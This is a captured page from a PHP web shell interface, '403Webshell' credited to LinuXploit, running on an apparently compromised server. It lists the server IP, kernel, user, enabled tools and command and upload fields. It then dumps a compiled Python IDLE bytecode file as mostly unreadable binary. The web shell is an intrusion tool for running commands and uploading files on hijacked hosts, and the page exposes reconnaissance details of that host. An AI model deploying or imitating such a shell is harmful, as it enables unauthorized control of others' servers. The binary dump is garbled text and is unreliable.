403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.217.113
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.5/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.5/idlelib/__pycache__/ColorDelegator.cpython-35.pyc


.c`f)�@sddlZddlZddlZddlZddlmZddlmZddlm	Z	dZ
dd�Zdd	�Zej
e�ej�Zej
d
ej�Zdd�ZGd
d�de�Zdd�Zedkr�ddlmZee�dS)�N)�	TkVersion)�	Delegator)�idleConfFcCsd|dj|�dS)z9Return a named group pattern matching list of alternates.z(?P<%s>�|�))�join)�nameZ
alternates�r	�,/usr/lib/python3.5/idlelib/ColorDelegator.py�anysrc
Cs�dtdtj�d}dd�tt�D�}dtd|�d}tddg�}d	}|d
}|d}|d}|d
}td||||g�}	|d|d|d|	dtddg�S)Nz\b�KEYWORDcSs;g|]1}|jd�r|tjkrt|��qS)�_)�
startswith�keyword�kwlist�str)�.0rr	r	r
�
<listcomp>s	zmake_pat.<locals>.<listcomp>z([^.'\"\\#]\b|^)�BUILTIN�COMMENTz#[^\n]*z4(\br|u|ur|R|U|UR|Ur|uR|b|B|br|Br|bR|BR|rb|rB|Rb|RB)?z'[^'\\\n]*(\\.[^'\\\n]*)*'?z"[^"\\\n]*(\\.[^"\\\n]*)*"?z''''[^'\\]*((\\.|'(?!''))[^'\\]*)*(''')?z'"""[^"\\]*((\\.|"(?!""))[^"\\]*)*(""")?�STRINGr�SYNCz\n)rrr�dir�builtins)
�kwZbuiltinlist�builtin�commentZstringprefixZsqstringZdqstringZ	sq3stringZ	dq3string�stringr	r	r
�make_pats



rz\s+(\w+)cCs�tj�}tj|d�}tj|ddd�}tj|d�}|jd|dd|dd|d	|dd
|d�tdkr�|jd|d�d
S)z_Set color opitons of Text widget.

    Should be called whenever ColorDelegator is called.
    ZnormalZcursorZfgBgZfgZhilite�
foreground�
backgroundZinsertbackgroundZselectforegroundZselectbackgroundg!@ZinactiveselectbackgroundN)r�CurrentTheme�GetHighlightZconfigr)�text�themeZ
normal_colorsZcursor_colorZ
select_colorsr	r	r
�color_config$s	


	r%c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
d�Zd	dd
�Zd	Z	dZ
dZd	dd�Zd	Z
d	dd�Zdd�Zdd�Zdd�Zdd�Zd	S)�ColorDelegatorcCs-tj|�t|_t|_|j�dS)N)r�__init__�prog�idprog�LoadTagDefs)�selfr	r	r
r'<s
		zColorDelegator.__init__cCs~|jdk	r|jd�tj||�|dk	rh|j�|jd|j�|jdd�nd|_d|_	dS)Nz<<toggle-auto-coloring>>z1.0�endTF)
�delegateZunbindr�setdelegate�
config_colorsZbind�toggle_colorize_event�notify_range�stop_colorizing�allow_colorizing)r+r-r	r	r
r.Bs

	zColorDelegator.setdelegatecCsGx3|jj�D]"\}}|r|j||�qW|jd�dS)NZsel)�tagdefs�itemsZ
tag_configureZ	tag_raise)r+�tagZcnfr	r	r
r/OszColorDelegator.config_colorscCs�tj�}dtj|d�dtj|d�dtj|d�dtj|d�d	tj|d
�dddd
didddd
didtj|d�dtj|d�i	|_tr�td|j�dS)Nrrrrrrrr�
DEFINITIONZ
definitionrr r�TODOZERROR�errorZhitr4)rr!r"r4�DEBUG�print)r+r$r	r	r
r*UszColorDelegator.LoadTagDefsNcCsG|j|�}|jj|||�|j||dt|��dS)Nz+%dc)�indexr-�insertr1�len)r+r<�charsZtagsr	r	r
r=fszColorDelegator.insertcCs3|j|�}|jj||�|j|�dS)N)r<r-�deleter1)r+�index1�index2r	r	r
r@kszColorDelegator.deleteTFcCs�|jd||�|jr0tr,td�dS|jrRd|_trRtd�|jr�trktd�|jd|j�|_dS)Nr8zcolorizing already scheduledTzstop colorizingzschedule colorizing�)	�tag_add�after_idr:r;�
colorizingr2r3�after�
recolorize)r+rArBr	r	r
r1ts	
		
	
zColorDelegator.notify_rangecCss|jr8|j}d|_tr+td�|j|�d|_d|_|ro|jsf|j�n	||_dS)Nzcancel scheduled recolorizerFT)	rEr:r;�after_cancelr3r2rF�destroy�close_when_done)r+rKrEr	r	r
�close�s			

			
zColorDelegator.closecCs�|jr8|j}d|_tr+td�|j|�|jrc|jrctrZtd�d|_|j|_|jr�|jr�|jd|j�|_tr�td|jr�dp�d�dS)	Nzcancel scheduled recolorizerzstop colorizingTrCzauto colorizing turnedZonZoff�break)	rEr:r;rIr3rFr2rGrH)r+ZeventrEr	r	r
r0�s"			


	
z$ColorDelegator.toggle_colorize_eventcCs9d|_|js&tr"td�dS|jsCtr?td�dS|jr`tr\td�dSz`d|_d|_tr�td�tj�}|j	�tj�}tr�td||�Wdd|_X|jr|j
dd	�rtr�td
�|jd|j�|_|j
r5|j
}d|_
|j�dS)Nzno delegatezauto colorizing is offzalready colorizingFTz
colorizing...z%.3f secondsr8z1.0zreschedule colorizingrC)rEr-r:r;r3rFr2�timeZperf_counter�recolorize_main�
tag_nextrangerGrHrKrJ)r+Zt0Zt1�topr	r	r
rH�s@		
	
	
		



			zColorDelegator.recolorizecCs�d}x�|jd|�}|s"P|\}}|jd||�|jd|�}|rf|d}nd}d}|}d}d}x|s�|}|j|d|�}t|dd	�}d|j|d
�k}|j||�}	|	s�dSx$|jD]}
|j|
||�q�W||	}|jj	|�}x�|rx�|j
�j�D]�\}}
|
rQ|j|�\}}|j
||d||d|�|
dkrQ|jj||�}|rQ|jd�\}}|j
d|d||d|�qQW|jj	||j��}q8Wd|j|d
�krE|}d}nd}|sa|j
d|�|j�|jr�tr�td�dSq�Wq	WdS)Nz1.0r8rrC�Fz+%d lines linestart��dz-1cz+%dc�def�classr7zcolorizing stopped)zdefzclass)rP�
tag_removeZ
tag_prevranger<�minZ	tag_names�getr4r(�search�	groupdictr5�spanrDr)�matchr,�updater2r:r;)r+�next�item�head�tailr?Zlines_to_get�okZmark�liner6�m�key�value�a�bZm1r	r	r
rO�sl
	
				
	
zColorDelegator.recolorize_maincCs+x$|jD]}|j|dd�q
WdS)Nz1.0r,)r4rW)r+r6r	r	r
�removecolors�szColorDelegator.removecolors)�__name__�
__module__�__qualname__r'r.r/r*r=r@rEr3rFr1rKrLr0rHrOrjr	r	r	r
r&:s 
Ar&c	Cs�ddlm}m}ddlm}||�}|jd�|jd|j�d|j�df�d}||d	d
�}|j	ddd
d�|j
d|�|j�t|�||�}t
�}|j|�dS)Nr)�Toplevel�Text)�
PercolatorzTest ColorDelegatorz
200x100+%d+%d���z'if somename: x = 'abc' # comment
print
r Zwhite�expandrCZfillZbothr=)�tkinterrnroZidlelib.Percolatorrp�titleZgeometryZwinfo_rootxZwinfo_rootyZpackr=Z	focus_setr%r&Zinsertfilter)	�parentrnrorprQ�sourcer#�p�dr	r	r
�_color_delegators


	rz�__main__)�run)rN�rerrrtrZidlelib.DelegatorrZidlelib.configHandlerrr:rr�compile�Sr(r)r%r&rzrkZidlelib.idle_test.htestr|r	r	r	r
�<module>s"�

Youez - 2016 - github.com/yon3zu
LinuXploit